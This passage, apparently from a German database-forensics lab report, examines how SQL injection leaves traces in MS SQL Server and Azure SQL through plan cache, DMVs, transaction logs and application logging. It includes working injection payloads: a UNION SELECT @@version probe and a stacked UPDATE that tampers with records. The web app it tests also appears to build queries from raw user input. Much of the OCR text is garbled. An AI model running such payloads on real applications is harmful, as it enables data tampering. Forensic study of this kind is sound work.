runtime information during execution progress, and is updated every second. Runtime information includes for

example the actual number of rows flowing through the operators.

Abbildung 18: Quelle: https://docs.microsoft.com/en-us/sql/relational-databases/query-processing-architecture-
guide?view=sql-server-verl5#execution-plan-caching-and-reuse

SAL Server has a pool of memory that is used to store both execution plans and data buffers. The percentage of the pool
allocated to either execution plans or data buffers fluctuates dynamically, depending on the state of the system. The part
of the memory pool that is used to store execution plans is referred to as the plan cache.

The plan cache has two stores for all compiled plans:

* The Object Plans cache store (OBJCP) used for plans related to persisted objects (stored procedures, functions, and
triggers).

* The SQL Plans cache store (SQLCP) used for plans related to autoparameterized, dynamic, or prepared queries.

The query below provides information about memory usage for these two cache stores:

sys.dm_os_memory clerks

(@ Note
The plan cache has two additional stores that are not used for storing plans:

* The Bound Trees cache store (PHDR) used for data structures used during plan compilation for views,
constraints, and defaults. These structures are known as Bound Trees or Algebrizer Trees.

* The Extended Stored Procedures cache store (XPROC) used for predefined system procedures, like
sp_executeSql or xp_cmdshell, that are defined using a DLL, not using Transact-SOL statements. The cached

structure contains only the function name and the DLL name in which the procedure is implemented.

Abbildung 19: Quelle: https://docs.microsoft.com/en-us/sql/relational-databases/query-processing-architecture-
guide?view=sql-server-verl5#execution-plan-caching-and-reuse

sys.dm_exec_query_stats (Transact-SQ

A 1 = 14 minut ) read - 8 ﬂ,‘s'f‘ e (411 Is

Applies to: ¥ SQL Server (all supported versions) ¥ Azure SQL Database

Returns aggregate performance statistics for cached query plans in SQL Server. The view contains one row per query
statement within the cached plan, and the lifetime of the rows are tied to the plan itself. When a plan is removed from the
cache, the corresponding rows are eliminated from this view.

(D Note

* The results of sys.dm_exec_query_stats may vary with each execution as the data only reflects finished queries,
and not ones still in-flight.

* To call this from dedicated SQL pool in Azure Synapse Analytics or Analytics Platform System (PDW), use the

name sys.dm_pdw_nodes_exec_query stats. For serverless SQL pool use sys.dm_exec_query_stats.
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Mit folgendem Statement erhalt man zu einem ausgefiihrten Statement den Abfrageplan
(inkl. Anzahl Ausflhrungen):

Obitype, TEXT, qu

ery_plan

ShowPlankML smins="http://schemas.m

Abbildung 20: Quelle: https://stackoverflow.com/questions/7359702/how-do-i-obtain-a-query-execution-plan-in-
sql-server

Zeitangaben

Woher das Datenbanksystem seine Zeit bezieht, konnte nicht ermittelt werden. Real Time
Clock kann bei IBM-kompatiblen PCs im BIOS ausgelesen und tiber cmd-Befehle abgefragt
werden. In unzéhligen Relationen sind Timestamps enthalten. Aul3erdem bietet Transact-
SQL einige Befehle, um die Zeit auszugeben.

Es ist allerdings aufgefallen, dass die Zeit der Log-Eintrage um eine Stunde nach vorne
geschoben ist. Folgendes Statement wurde um 16:20 Uhr Systemzeit auf dem Windows-
Client ausgefthrt. In der Datenbank wird allerdings 15:20 Uhr geloggt.

Es scheint wohl keine deutsche Konfiguration beim Aufsetzen des Servers verwendet
worden zu sein.
= Microsoft Azure

Portal settings | Language + region

Cache Clock Hands
Cache Clock Hands sind bspw. Uber folgendes Statement erreichbar:
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SELECT name,
type,
clock_hand,
clock_status,
reunds_count,
removed_all_rounds_count,
updated_last_round_count,
removed_last_round_count,
last_round_start_time
FROM sys.dm_os_memory_cache_clock_hands
ORDER BY removed_last_round_count DESC

esults  Messages

O search to filter items..

name type clock_hand clock status rounds_count removed_all_rounds_count updated_las!
SOS_StackFramesStore CACHESTORE_STACKFRAMES HAND_EXTERNAL SUSPENDED 0 [ 0
505 _StackFramesStore CACHESTORE_STACKFRAMES HAND_INTERNAL SUSPENDED 0 1] 0
EventNotificationCache CACHESTORE_EVENTS HAND_EXTERNAL SUSPENDED 0 1] 0
EventNotificationCache CACHESTORE_EVENTS HAND_INTERNAL SUSPENDED ] ] 0
Object Plans CACHESTORE_OEJCP HAND_EXTERNAL SUSPENDED 0 o 0
Object Plans CACHESTORE_OBJCP HAND_INTERNAL SUSPENDED 0 o 0
SQL Plans CACHESTORE_SQLCP HAND_EXTERNAL SUSPENDED 0 o 0
SQL Plans CACHESTORE_SQLCP HAND_INTERNAL SUSPENDED 0 o 0
Bound Trees CACHESTORE_PHDR HAND_EXTERNAL SUSPENDED 0 0 0
Bound Trees CACHESTORE_PHDR HAND_INTERNAL SUSPENDED 0 0 0

Data Cache
Der Data Cache kann mit folgendem Statement eingesehen werden:

SELECT count(*)*B/1824 AS 'Data Cache Size(MB)®
,CASE database_id

WHEM 32767 THEM 'RESOURCEDE'

ELSE db_name(database_id)

END AS 'DatabaseName’

FROM sys.dm_os_buffer_descriptors

GROUF BY db_name(database_id) ,database_id
ORDER BY 'Data Cache Size(MB)' DESC

tesults  Messages

P search to filter items...

Data Cache Size(MB) DatabaseName
20

19 datenbanken

5 tempdb

3

4 RESOURCEDBE

3 master

1 model

]

o

Abbildung 21: Quelle: https://sglservergeeks.com/sql-server-observing-sql-server-data-cache-buffer-pool-
concepts/

Plan Cache
Der Plan Cache ist tiber folgendes Statement erreichbar:

SELECT * FROM sys.dm_os_performance_counters
WHERE cbject_name LIKE '#Plan Cachek’';

esults  Messages

£ search to filter items...

object_name counter_name instance_name cntr_value cntr_type
MSSQLSBTSCCBFOATE3:Plan Cache Cache Hit Ratio Temporary Tables & Table Variables 53 537003264
MSSQLSB7SCCBFOATE3:Plan Cache Cache Hit Ratio Base Temporary Tables & Table Variables 60 1073939712
MSSQLSETSCCBFOATE3:Plan Cache Cache Pages Temporary Tables & Table Variables 3 65792
MSSQLSB7SCCBFOATE3:Plan Cache Cache Object Counts Temporary Tables & Table Variables 7 65792
MSSQLSB7SCCBFOATE3:Plan Cache Cache Objects in use Temporary Tables & Table Variables o 65792
MSSQLSBTSCCBFOATE3:Plan Cache Cache Hit Ratio Extended Stored Procedures 603 537003264

Abbildung 22: Quelle: https://docs.microsoft.com/en-us/sql/relational-databases/performance-monitor/sql-server-

plan-cache-object?view=sql-server-verl5
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Ring Buffer
Der Ring Buffer ist Uiber folgendes Statement erreichbar:

SELECT * FROM sys.dm_os_ring buffers WHERE ring buffer type LIKE 'XHADRZ'

esults  Messages

© search to filter itams...

ring_buffer_address ring_buffer_type timestamp record
BIWVIEIEIT8= RING_BUFFER_HADRDBMGR_STATE 1806262787 <Record id = "19" type ="RING_BUFFER_HADRDBM
BIWVIEIEIT8= RING_BUFFER_HADRDBMGR_STATE 1806262787 <Record id = "18" type ="RING_BUFFER_HADRDBM
BIWVIEIEIT8= RING_BUFFER_HADRDBMGR_STATE 1806262787 <Record id = 17" type ="RING_BUFFER_HADRDBM
BIWVIEIEIT8= RING_BUFFER_HADRDBMGR_STATE 1806262787 <Record id = 16" type ="RING_BUFFER_HADRDBM
BIWVIETEITE= RING_BUFFER_HADRDBMGR_STATE 1806262787 <Record id = 15 type ="RING_BUFFER_HADRDBM
BIWVIEIEIT8= RING_BUFFER_HADRDBMGR_STATE 1806262787 <Record id = "14" type ="RING_BUFFER_HADRDBM

Abbildung 23: Quelle: https://docs.microsoft.com/en-us/sql/database-engine/availability-groups/windows/always-
on-ring-buffers?view=sql-server-verl5

Stored Procedures
Auch kénnen Stored Procedures einer Datenbank inkl. ihres Ausfihrungscounters angezeigt
werden. Folgende Procedure wandelt die Datenbank-ID in den jeweiligen Namen um:

CREATE PROC What_DB_is_that @ID INT
As
SELECT DB_NAME(@ID) AS ThatDB;

EXEC What_DB_is_that 1;

‘esults Messages

2 search to filter items...

ThatDB

master

Die Analyse der auf der jeweiligen Datenbank gespeicherten Stored Procedures erfolgt dann
mit folgendem Statement:

SELECT o.name,
5.last_execution_time,
s.type_desc,
5.execution_count
FROM sys.dm_sxec_procedure_stats s
INMER JOIN sys.objects o ON s.object_id = o.object_id
WHERE DB_MNAME(s.database ID) = 'datenbanken’ --Database Name
AND o.name LIKE ('%%") --Object/Stored Procedure Name --»> Aktuell kein Filter gesetzt

lesults  Messages

P search to filter items...

name last_execution_time type_desc execution_count

What_DB_is_that 2022-02-08T17:07:32.6000000 SQL_STORED_PROCEDURE [

Abbildung 24: Quelle: https://jackworthen.com/2018/07/25/querying-the-last-execution-time-of-a-stored-
procedure-in-sql-server/

Trigger
Ahnlich funktioniert das mit in der Datenbank gespeicherten Triggern. Erst wird exemplarisch
ein Trigger angelegt:

CREATE TRIGGER reminder

ON [dbo].[T_Hersteller]

AFTER IMNSERT, UPDATE

AS RAISERROR ('Motify Customer Relations', 16, 1@);
GO

Dann kénnen mit folgendem Statement alle in der jeweiligen Datenbank hinterlegten Trigger
abgefragt werden:


https://docs.microsoft.com/en-us/sql/database-engine/availability-groups/windows/always-on-ring-buffers?view=sql-server-ver15
https://docs.microsoft.com/en-us/sql/database-engine/availability-groups/windows/always-on-ring-buffers?view=sql-server-ver15
https://jackworthen.com/2018/07/25/querying-the-last-execution-time-of-a-stored-procedure-in-sql-server/
https://jackworthen.com/2018/07/25/querying-the-last-execution-time-of-a-stored-procedure-in-sql-server/

SELECT
sysobjects.name AS trigger_name
,USER_NAME(sysobjects.uid) AS trigger_owner
,5.name AS table_schema
,OBJECT_MAME(parent_ocbj) AS table_name
,OBIECTPROPERTY( id, 'ExscIsUpdateTrigger') AS isupdate
,OBJECTPROPERTY( id, 'ExecIsDels gger') AS isdelete
,OBJECTPROPERTY( id, 'ExecIsIi gger') AS isinsert
,OBJECTPROPERTY( id, 'Ex ') AS isafter
,OBJECTPROPERTY( id, 'ExacIsInstead0fTrigger') AS isinsteadof
,OBIECTPROPERTY(id, 'ExecIsTriggerDisabled') AS [disabled]
FROM sysobjects

INNER JOIN sysusers
ON sysobjects.uid - sysusers.uid

INNER JOIN sys.tables t
OM sysobjects.parent_obj - t.object_id

INMER JOIN sys.schemas s
ON t.schema_id = s.schema_id

WHERE sysobjects.type = 'TR';

tesults Messages

A search to filter items...

trigger_name trigger_owner table_schema table_name isupdate isdelete isinsert

reminder dbo dbo T_Hersteller 1 0 1

Abbildung 25: Quelle: https://stackoverflow.com/questions/4305691/need-to-list-all-triggers-in-sql-server-
database-with-table-name-and-tables-sch

Folgendes Statement wird von Microsoft empfohlen:

SELECT T.Name,

TE.*
FROM sys.trigger_events AS TE
JOIN sys.triggers AS T
ON T.object_id = TE.object_id;
GO

tesults  Messages

P search to filter items...

Name object_id type type_desc is_first is_last event_grou|
reminder 539148966 1 INSERT False False
reminder 539148966 2 UPDATE False False

G. Anzeigen der Ereignisse, die einen Trigger auslésen

Im folgenden Beispiel werden die 'sys.triggers - und die 'sys.trigger_events -Katalogsichten abgefragt, um zu ermitteln,
welche Transact-SQL-Sprachereignisse bewirken, dass der safety -Trigger ausgelst wird. Der Trigger safety wird in

Beispiel .D" erstellt, wie oben dargestellt.

sqL Iy Kopieren

TE."
sys.trigger_events TE
sys.triggers T T.object_id = TE.object_id
T.parent_class = @ T.name = °s

Abbildung 26: Quelle: https://docs.microsoft.com/de-de/sql/t-sgl/statements/create-trigger-transact-sql?view=sql-
server-verl5

System-Relationen/Views (Kompatibilitat-Views und Catalog-Views)

Einige System-Relationen/Views wurden bereits in vorherigen Kapiteln betrachtet. In MSSQL
sind daruber hinaus unzahlige weitere, nitzliche System-Relationen/Views sowohl in der neu
angelegten Datenbank als auch in der master-Datenbank enthalten. Sie werden in
Kompatibilitat-Views (abwartskompatible System-Views &lterer MSSQL-Versionen) und
Catalog-Views (Beinhalten Informationen, welche von der SQL-Server Datenbank Engine
verwendet werden) unterteilt. Auch hier lohnt sich noch eine genauere Analyse, um ggf.
weitere, interessante Views zu identifizieren:


https://stackoverflow.com/questions/4305691/need-to-list-all-triggers-in-sql-server-database-with-table-name-and-tables-sch
https://stackoverflow.com/questions/4305691/need-to-list-all-triggers-in-sql-server-database-with-table-name-and-tables-sch
https://docs.microsoft.com/de-de/sql/t-sql/statements/create-trigger-transact-sql?view=sql-server-ver15
https://docs.microsoft.com/de-de/sql/t-sql/statements/create-trigger-transact-sql?view=sql-server-ver15

% SQlQuerylsal - (83)) - Microsoft SQL Server Management Studio
Datei Bearbeiten Ansicht Projekt Extras fenster Hilfe

Bro-2 @ BDheessiage BRBSRAR| L 7 < -8 -l
Objekt-Explorer By soiqueryisql -
Verbinden~ § ¥ (VS
s datenbanken database windows.net (SO Server 12020008 - datenbankes A
= W Datenbanken
Systemdatenbanken
W master
i ® Tabellen
= ™ Sichten

Systemsichten
% 8 dbosysdac instances Y
# 3 INFORMATION_SCHEMA.CHECK_CONSTRAINTS [database_id]
# B INFORMATION_SCHEMA.COLUMN_DOMAIN_USAGE [user_id)
# €3 INFORMATION_SCHEMA.COLUMN_PRIVILEGES
& & INFORMATION_SCHEMA.COLUMNS
# £3 INFORMATION_SCHEMA.CONSTRAINT_COLUMN_USAGE
# B INFORMATION_SCHEMA.CONSTRAINT_TABLE_ USAGE
& £ INFORMATION_SCHEMA. DOMAIN_CONSTRAINTS
# £ INFORMATION_SCHEMA.DOMAINS
& 5 INFORMATION_SCHEMA KEY_COLUMN_USAGE
4 B INFORMATION_SCHEMA PARAMETERS
# 89 INFORMATION_SCHEMA REFERENTIAL_CONSTRAINTS
# £5 INFORMATION_SCHEMA ROUTINE_COLUMNS

& £ INFORMATION_SCHEMA.ROUTINES .

i/ £ INFORMATION_SCHEMA SCHEMATA o

5 £ INFORMATION_SCHEMASEQUENCES 0 i

i) £ INFORMATION_SCHEMATABLE CONSTRAINTS 0 i

& £ INFORMATION_SCHEMATABLE PRIVILEGES ] i

i £ INFORMATION_SCHEMA.TABLES e

& B3 INFORMATION_SCHEMA.VIEW_COLUMN_USAGE o o 20274 1NIRELI B

i 65 INFORMATION_SCHEMAVIEW_TABLE USAGE * e ALV UIIRADN 1

5 £ INFORMATION_SCHEMAVIEWS . : I a0
n 0

% 8 sysall_objects s @

7 15 sys.all_parameters 74 )

# 8 sysall_sql_modules 7

i £ sysall_views "

# 8 sys.allocation_units B

< > | O Die Abtrage wurde edolgreich ausgefihr.

Quellen: https://docs.microsoft.com/en-us/sql/relational-databases/system-compatibility-
views/system-compatibility-views-transact-sql?view=sql-server-verl5s,
https://docs.microsoft.com/en-us/sgl/relational-databases/system-catalog-views/catalog-
views-transact-sgl?view=sql-server-verls

Mit dem folgenden Statement konnen die auf der Datenbank zuletzt ausgefihrten
Statements (inkl. Ausfihrungszéahler)/Recently Executed Statements eingesehen werden:

= acbject |d WHERE tname = T_Persceen

Abbildung 27: Quelle: https://blog.sqlauthority.com/2016/09/04/find-recent-executed-queries-sql-server-interview-
guestion-week-086/

Alternativ:

11 SELECT degs.last_execution_time AS [Time], dest.TEXT AS [Query], dest.dbid

12 FROM sys.dm_exec_query stats AS deqs

13 CROSS APPLY sys.dm_exec_sql_text(degs.sql_handle) AS dest

14 WHERE CONVERT(VARCHAR(25), deqs.last_execution_time, 126) LIKE '2022-82-16% -- Auf das heutige Datum filtern
15 ORDER BY degs.last_execution_time DESC

Results  Messages

2 Search to filter items..

Time Query dbid

2022-02-16T15:11:10.3600000 Select * FROM [dbo].[T_Gerastetypen] WHERE Modell LIKE * AND 1=0 Union SELECT 0, 1, @@version; -

Abbildung 28: Quelle: https://social.msdn.microsoft.com/forums/sqlserver/en-US/9e51c095-ec37-40e2-8fed-
975f4e770926/query-to-find-the-last-transaction-happened-on-particular-database-in-one-server

Uber folgendes Statement kénnen weitere Informationen zur Verbindung analysiert werden.
Sollte vergessen werden in der Webapplikation die Verbindung zu schlieBen, gehéren alle
aktuellen Sitzungen der Benutzerprozesse auf dem SQL-Server zu einer Verbindung.
Ansonsten wirde hier nur die letzte Verbindung, also das zuletzt ausgefiihrte Statement
angezeigt werden. Eine Verbindung kann aus mehreren Sitzungen bestehen, die wiederrum
aus mehreren Transaktionen bestehen kann:


quellen:%20https://docs.microsoft.com/en-us/sql/relational-databases/system-compatibility-views/system-compatibility-views-transact-sql?view=sql-server-ver15
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Es ist auch moglich die verbundenen Quell-IP-Adressen zu identifizieren. Wobei die Tupel
mit Program_Name Core .Net SqlClient Data Provider Eintrage der Webapplikation sind:

12  SELECT ess.[session_id], ecs.client_net_address, ecs.client_tcp_port, ess.[program name],
13 ess.[host_name], ess.login_name,

1 (num_writes) TotalWrites,

15 essionCount

16 FROM sys.dnm ess WITH (NOLOCK)

17 TNNER JOTN sys.dm_exec_connections AS ecs WITH (NOLOCK)

18  ON ess.session_id - ecs.session_id

19 GROUP BY ess.[session_id], ecs.client_net_address, ecs.client_tcp_port, ess.[program_name],

20 ess.[host_nane], ess.login_name
21 ORDER BY SessionCount DESC;

dlient_net_address client_tcp_port program_name host_name login_name TotalReads

51 <named pipe> Tdservice DB7 NT AUTHORITN\SYSTEM
54 95.223.74.15 Azure SQL Query Editor MNG datenbankeniiFor 1
55 <named pipe> DmCollector De7 DBT\WF-Clg7kmDn3Model4 35314
58 <named pipes De7 NT AUTHORT 0

o d pip [l:24 NT AUTHORT 1
60 <named pipe> Metric D87 DET\WF: 4 e
77 <named pipe> Tdservice DB7 NT AUTHORI 1

78 <named pipe> MetricsDownloader DB7 DB7\WF-Clg7kmDn3Modeld &

81 95.223.74.15 Core Net sgiClient Data Provicl.. DESKTOP-217GROM datenbankeniiFor 1

83 95.223.7415 Core Net SciClient Data Provid.. DESKTOP-217GROM datenbankeniiFor 1

84 datenbankeniIFor

85 datenbankeniiFor 1

86 azdata-ObjectExplorer datenbankeniIFor

87 azdata-Objectexplorer datenbankeniiFor 0

88 05.272.74.15 a7data-DataContainer DESKTOR-217GROM datenbankeniiFar

Abbildung 29: Quelle: https://blog.sglauthority.com/2020/06/07/how-to-find-ip-address-of-all-sqgl-server-
connection-interview-question-of-the-week-280/

Hartung der Web-Anwendung und internes Logging

Microsoft bietet auch eine Seite mit Informationen und Tipps rund um SQL Injection:
https://docs.microsoft.com/en-us/sqgl/relational-databases/security/sgl-injection?view=sql-
server-verlb

Zusammenfassend kann festgehalten werden, dass MS Azure Uber integrierte Features und
Konfigurationen zur Uberwachung von SQL Servern und Erkennung sowie Protokollierung
von SQL Injection Angriffen verfugt, diese aber nicht vollumfénglich in der kostenlosen
Probeversion zur Verfigung standen. Auf MS Azure Logs konnte nicht zugegriffen werden
(technische Probleme auf Microsoft Seite kdnnen nicht ausgeschlossen werden). Auch fir
die Loganalyse bietet MS Azure einige Tools. Das zuvor skizzierte Vorgehen aktiviert in MS
Azure die SQL Uberwachung sowie Bedrohungserkennung.

Die SQL-Server Transaktions-Logs waren einsehbar und lieferten interessante
Informationen. Das Transaktions-Log scheint sehr komplex aufgebaut zu sein, was eine
hohe Einarbeitungszeit mit sich fihrt.

AulRRerdem konnten weitere Artefakte wie Ausfihrungspléne oder zuletzt ausgefiihrten
Statements ermittelt werden.

Da der SQL Injection Angriff iber eine Webanwendung erfolgte, werden Artefakte zur
Authentifizierung und Autorisierung, zur Konfiguration und Versionierung nichtbetrachtet.

Es bietet sich auch die Verwendung eines in der Applikation integrierten
Loggingmechanismusses an, wie nachfolgend exemplarisch via Serilog
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Drittanbieterbibliothek gezeigt. Die Log-Eintrage kénnen durch Zusatzinfos wie bspw. IP-
Adressen o. . erweitert werden:

builder.Logging.AddSerilog( Logge u
.MinimumLevel.Verbose()
.Enrich.FromLegContext()

.WriteTo.File("H:\\Programmierung\\Executed SQL-Statement
.CreateLogger());

Program.cs

[-Logger.LogInformation("SQL Transaktion: {8}", sqlQuery);

connection.Open()
sqlCommand = and(sqlQuery, connection);

(adapter = ter(sqlCommand))
{
adapter.Fill(table);
}

return table;

Index.cshtml.cs, Filtern der in der Datenbank enthaltenen Tupel anhand der Nutzereingabe
(Logging erfolgt in Zeile 55)

C 0O O localhost

DbllIForensiklnDbs —

Forensik Vorgdnge

Gespeicherte Geratetypen

" AND 1=0 Union SELECT 0, 1, @@version; -

Suchen

P_Grt_Typ_NrF_Herst_NrModell
Microsoft SQL Azure (RTM) - 12.0.2000.8 Jan 14 2022

0 1
22:53:34 Copyright (C) 2019 Microsoft Corporation

Ausflhren eines SQL Injection-Angriffs

Datei Bearbeiten Format Ansicht Hilfe
2022-02-05 14:18:20,122 H [INF] Executing handler method DbIIForensikInDbs.Pages.IndexModel.OnPost - ModelState is "Invalid"
2022-02-85 .123 : [VRB] Executing handler method DbIIForensikInDbs.Pages.IndexModel.OnPost with arguments (["' AND 1=@ Union SELECT @, 1, @@version; --'

SQL Transaktion: Select * FROM [dbo].[T Geraetetypen] WHERE Modell LIKE '' AND 1=@ Union SELECT @, 1, @aversion; --'

2022-92-05 14:18:20,143 : [INF] Executed handler method OnPost, returned result .

2022-92-05 14:18:20,143 : [INF] Executing an implicit handler method - Modelstate is "Invalid"

2022-02-05 14:18:20.143 : [INF] Executed an implicit handler method, returned result Microsoft.AspNetCore.Mvc.RazorPages.PageResult.

2022-02-05 14:18:20.,143 : [VRB] Page Filter: Before executing OnPageHandlerExecuted on filter Microsoft.AspMetCore.Mvc.RazorPages.Infrastructure.HandleOptionsRe
2022-82-05 14:18:20.143 : [VRB] Page Filter: After executing OnPageHandlerExecuted on filter Microsoft.AspMetCore.Mvc.RazorPages.Infrastructure.HandleOptionsRec
2022-02-05 14:18:20.144 : [VRB] Page Filter: After executing OnPageHandlerExecutionAsync on filter Microsoft.AspNetCore.Mvc.Filters.PageHandlerPageFilter.
2022-02-05 14:18:20.144 : [VRB] Result Filter: Before executing OnResultExecuting on filter Microsoft.AspNetCore.Mvc.viewFeatures.Filters.SaveTempDataFilter.
2022-02-05 14:18:20.144 : [VRB] Result Filter: After executing OnResultExecuting on filter Microsoft.AspNetCore.Mvc.viewFeatures.Filters.SaveTempDataFilter.
2022-02-85 :18:20.144 : [VRB] Before executing action result Microsoft.AspNetCore.Mvc.RazorPages.PageResult.

2022-02-85 :18:20.146 : [vRB] Performing protect operation to key {13db8b2f-1fe2-4b51-944a-5870ded510fb} with purposes ("H:\Programmierung\@Repo\C#\DbIIForen:
2022-02-85 :18:20.146 H [DBG] An antiforgery cookie token was reused.

2022-02-85 :18:20.148 H [DBG] view lookup cache hit for view '_Layout' in controller 'null'.

2022-02-05 14:1R:20 149 . INRET Fannd tha andnainte T"/Tndav™1 far addrace Micrnenft acnuatcara Rantino Rantavalnacaddrace

< >

Zeile 215, Spalte 154 100%  Windows (CRLF) UTF-8

Auszug aus der Log-Datei nach SQL Injection-Angriff mit* AND 1=0 Union SELECT 0, 1,
@ @version; -- (siehe markierte Zeile)

SQL-Server-Management-Studio

Leider wird der Aktivitatsmonitor fur Verbindungen Gber MS Azure nicht untersttitzt:
https://docs.microsoft.com/en-us/sqgl/relational-databases/performance-monitor/open-activity-
monitor-sgl-server-management-studio?view=sql-server-verl5
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'6' This operation does not suppert connections to the Microsoft Azure SQL Database..

42 Copy message

Allerdings bietet das SQL-Server-Management Studio eine Vielzahl an nitzlichen Funktionen
und ist sehr Ubersichtlich gestaltet. Im Gegensatz zum in der MS Azure-Oberflache
eingebauten Abfrageeditors ist hier der Zugriff auf viele sicherheitsrelevante Features via
Object Explorer mdglich. Es wird u. a. fur administrative Aufgaben und das
Sicherheitsmanagement empfohlen, ist also das passende Tool fur diesen Sachverhalt. Hier
lohnt sich definitiv eine genauere, gezielte Analyse:

Object Explorer -3 x
Connect~ ¥ ¥ [
= [y datenbanken.database.windows.net (SQL Server 12,0.2000.8 - datenbanken!For)
Databases
System Databases
= @ datenbanken
@ 1 Database Diagrams
Tables
Views
System Views
External Resources

Synonyms
Programmability
Query Store

@ [ Extended Events
Storage
Security

sers

g

Asymmetric Keys

Symmetric Keys

Always Encrypted Keys
Column Master Keys
Column Encryption Keys

Security Policies

1 datenbankenlFor
Integration Services Catalogs

MS Azure Data Studio
Azure Data Studio ist ahnlich wie das SQL-Server-Management-Studio ein professionelles
Datenbank-Tool fur Cloudplattformen. Anders als mit dem Management-Studio kdbnnen mit
dem Azure Data Studio auch Grafiken und Charts zu erstellen. Es konnten allerdings keine
neuen themenrelevanten Features gefunden werden. Nachfolgend ein Vergleich beider

Produkte. Fir diesen Sachverhalt ist das SQL-Server-Management-Studio deutlich besser
geeignet als das MS Azure Data Studio:

Use Azure Data Studio if you:

e Are mostly editing or executing queries.

* Need the ability to quickly chart and visualize result sets.

e Can execute most administrative tasks via the integrated terminal using sglcmd or PowerShell.
* Have minimal need for wizard experiences.

¢ Do not need to do deep administrative or platform related configuration.

* Need to run on macQOS or Linux.

Use SQL Server Management Studio if you:

Are doing complex administrative or platform configuration.

Are doing security management, including user management, vulnerability assessment, and
configuration of security features.

Need to make use of performance tuning advisors and dashboards.

Use database diagrams and table designers.

Need access to Registered Servers.

Make use of live query stats or client statistics.

Abbildung 30: Quelle: https://docs.microsoft.com/en-us/sqgl/azure-data-studio/what-is-azure-data-studio?view=sql-
server-verl5
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woE W e

P Run # Disconnect & Change Connection''®
1 SELECT t.Delikt,
2 COUNT(1) AS Anzahl
3 FROM T_Delikte as t
4 LEFT JOIN T_Forensik_WVorgaenge as fv
S O t.P_Delikt fir = fv.F_Delikt_Nr
3 GROUP BY Delikt;

Results Messages

Delikt v Anzahl
Betrug
BtM
KiPo
KV
Mord

oo e e W e

Vergewaltigung

Ausspéahen von Daten
Beim Ausspéahen von Daten kommen hauptsachlich Select-Statements zum Einsatz. Als
Beispiel soll das in Kapitel Identifizieren des Datenbanksystems (Ausspahen von Daten)

erwahnte Statement dienen.

B

)

&

© B v @

A,
2oty

Samtliche Statements werden im neu konfigurierten Log der C# Webanwendung getrackt.
Durch die Eintrage ist ersichtlich welches Argument Ubergeben wurde und welche SQL-
Transaktion letztendlich ausgefuhrt wurde. Hier konnte bspw. auch die verbundene IP-
Adresse des Clients und deren Computername geloggt werden.

2022-82-16 15:409:34.849 +81:00 [VRB] Executing handler method DbIIForensikInDbs.Pages.IndexModel.OnPost with arguments (["" AND 1=8 Union SELECT @, 1, @@version; --"]1)

2022-82-16 15:40:34.849 +01:80 [INF] SQL Transaktion: Select * FROM [dbo].[T_Geraetetypen] WHERE Modell LIKE "' AND 1=0 Union SELECT @, 1, @@version; --"

21 SELECT degs.last_execution_time AS [Time], dest.TEXT AS [Query], dest.dbid

22 FROM sys.dm_exec_guery stats AS deqgs

23 CROSS APPLY sys.dm_exec_sql_text(deqs.sgl_handle) AS dest

24 WHERE CONVERT(VARCHAR(25), deqs.last_execution_time, 126) LIKE '2022-82-16%' -- Auf das heutige Datum filtern

25 ORDER BY deqs.last_execution_time DESC

26

Results  Messages

2 Search to filter items...
Time Query dbid
2022-02-16T1 SELECT conn.session_id, sson.host_name, sson.login_name, sgltxt.text, sson.login_time, sson.status, sson.database_i.
2022-02-16T16:17:27.1570000 SELECT deqgs.last_execution_time AS [Time], dest.TEXT AS [Query], dest.dbid FROM sys.dm_exec_guery_stats AS deq..
2022-02-16T1 SELECT [Current LSN], [Operation], [Transaction Name], [Transaction ID], [Transaction SID], [SPID], [Begin Time] FRO...
2022-02-16T1

2022-02-16T16:14:15.8900000

SELECT [Current LSN], [Operation], [Transaction Name], [Transaction ID], [Transaction SID], [SPID], [Begin Time] FRO...

Select * FROM [dbol.[T_Geraetetypen] WHERE Modell LIKE " AND 1=0 Unien SELECT 0, 1, @@version; --

Oder Uber dm_exec_connections, dm_exec_sessions und dm_exec_sql_text, wenn weitere
Infos zur Verbindung bendétigt werden, wie bspw. die Session-ID in diesem Fall. Da
ausschlieBlich die Webapplikation mit der Datenbank kommuniziert, wird hier auch stets
immer nur der Hostname des Applikationservers geloggt. Wirde hier ein anderer Hostname
stehen, wére dies ein Indikator fir geklaute Anmeldedaten. Wobei diese Schwachstelle
einfach geschlossen werden kann. In MS Azure kdnnen IP-Adressen von Hosts hinterlegt
werden, die sich mit der Datenbank verbinden diurfen. Durch dm_exec_sql_text wird der
most_revent_sql_handle in das zugehorige, lesbare Statement konvertiert.

103



s2, sson.login_name,
tus, sson.databa

se,

sys.dm_sxec_sessions sson
35 ON conn.session_id - sson.session_id
ec_sql_text(most_recent_sql_handle) AS sqltxt

et login time status database id

Auffallig ist, dass bei beiden Statements unterschiedliche Zeitangaben besitzen. Die Zeit aus
dem 1. Screenshot zeigt die letzte Ausfiihrungszeit, die Zeit des 2. Screenshots die Zeit, an
dem der Befehl geloggt wurde. Nachdem die Session-ID ermittelt wurde (88), kann nun das
Transaktion-Log danach gefiltert werden (Attribut SPID). Ubrigens kann mit dem @@SPID-
Befehl die aktuelle Sitzungs-ID des aktuellen Benutzerprozesses ermittelt werden (Quelle:
https://docs.microsoft.com/de-de/sqal/t-sal/functions/spid-transact-sgl?view=sql-server-ver15)

Leider kann weder die Session-ID 88 noch der Timestamp im Transaktion-Log gefunden
werden:

SELECT [Current LSN],

Gem. Abfrageplan wurde das Statement insgesamt 5x ausgeftihrt:

Veranderung von Daten

Auch hier kommt wieder der in Kapitel Ausspéhen von Daten skizzierte Ansatz zur
Anwendung. Nachfolgende Ausfiihrungen basieren auf dem Statement aus Kapitel
Verandern der Daten des Beschuldigten (Veranderung von Daten). Einziger Unterschied ist,
dass nun Vorname und Nachname in einem Statement geandert werden.

C A A O localhost

DbllFarensikinDbs  Home  Privacy
Forensik Vorgéange
Gespeicherte Gerdtetypen

AND 1 = 0; UPDATE T_Personen SET VName = ‘unbekannt’, NMame = ‘unbekannt’ WHERE VName = ‘John’ AND NName = ‘Gotti’

P_Grt Typ_NrF_Herst NrModell

Log der Webapplikation:

2022-02-16 18:45:24.142 +61:00 [VRB] Executing handler method DbIIForensikInDbs.Pages. IndexModel.OnPost with arguments ([** AND 1 = 0; UPDATE T_Personen SET Viame = “unbekannt®, Miame = ‘unbekannt' WHERE VWame = *John® AND WHame = ‘Gotti'; --"])
2022-02-16 18:45:24.142 +81:00 [INF] SQL Transaktion: Select * FROM [dbo].[T_Geraetetypen] WHERE Modell LIKE ' AND 1 - @; UPDATE T_Personen SET VHame = 'unbekannt’, Name = ‘unbeksnnt’ WHERE VMame = “John' AND NName - “Gotei'; --
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Eintrage in System-Relationen/-Views:

